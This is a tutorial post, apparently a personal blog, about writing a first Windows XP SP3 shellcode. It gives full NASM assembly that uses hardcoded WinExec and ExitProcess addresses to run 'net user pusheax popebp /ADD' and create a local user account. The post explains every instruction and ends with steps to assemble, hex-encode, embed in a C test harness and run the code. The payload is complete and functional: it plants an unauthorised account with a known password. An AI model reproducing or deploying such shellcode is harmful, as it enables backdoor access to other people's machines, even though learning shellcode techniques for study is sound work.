My first shellcode was in two registers, The adduser shellcode!
1. Nasm: www.nasm.us
3. xxd-shellcode: http://www.projectshellcode.com/downloads/xxd-shellcode.sh
4. shellcode-test: http://www.vividmachines.com/shellcode/shellcodetest.c
;add user shellcode. Only will work on windows xp3. Written by pusheax.com <br />[BITS 32]<br /><br />global _start<br /><br />section .text<br /><br />_start:<br /> jmp short command <br /><br /><br />function: ;Label <br /> ;WinExec("Command to execute",NULL)<br /> pop ecx<br /> xor eax,eax<br /> push eax<br /> push ecx<br /> mov eax,0x7c8623ad<br /> call eax<br /> <br /> xor eax,eax<br /> push eax<br /> mov eax,0x7c81cafa<br /> call eax<br /> <br /> <br /> <br />command: ;Label<br /> call function<br /> db "cmd.exe /c net user pusheax popebp /ADD"<br /> db 0x00<br />
So let me explain each line
[BITS 32] : Tell the nasm the code is for 32bit.
global _start : Declare main starting label .
section .text : Declare the code section.
jmp short command: jmp instruction used for jumping to another label call “command” . “Call” instruction is not possible because “call” will save then next instruction to stack to get back to next instruction. This is really a common trick when writing shellcode. So it is telling to jump to “command” label and keep no return address in stack.
So now we are in label “command” and it holds following instructions:-
call function : Calling “function” label and saving the next address(whatever) in stack for return purpose . The Next instruction is simple system command:
db “cmd.exe /c net user pusheax popebp /ADD”
pop ecx : Take the current return address into ecx and remove the address from stack.
xor eax,eax : cleaning the eax register to 0. We can directly push 0 to stack but clearly it will issue null bytes. So most shellcoder does xor.
push eax : pushing 0 to stack. Since Stack is LIFO so it will be the last parameters.
push ecx : Do you remember that we have popped an address into ecx ? ecx actually holding “cmd.exe /c net user pusheax popebp /ADD” . So we need to push this string to stack for WinExec() first parameter. Currently stack holds: WinExec(“cmd.exe /c net user pusheax popebp /ADD”,NULL).
mov eax,0x7c8623ad : 0x7c8623ad is address of WInExec(). Moving this address into eax . I found this address using arwin.exe ( ./arwin.exe Kernel32.dll WinExec ).
call eax : eax=WinExec(). So it is executing the API function.
xor eax,eax: clean eax register. Because we are going to terminate the current process soon. We are going to call ExitProcess() function to exit the current process. otherwise shellcode may get corrupted. You may see it on Debugger.
push eax: Same as above we are pushing the last parameters to stack.
mov eax,0x7c81cafa : Same as above i used arwin to find the address of ExitProcess() function.
call eax: eax=ExitProcess’s address. Calling eax will execute the function.
1. nasm -f bin -o shellcode.bin
2. ./xxd-shellcode.sh shellcode.bin
3. paste into the shellcode-test.c:
4. compile with mingw and execute then check the new user name :).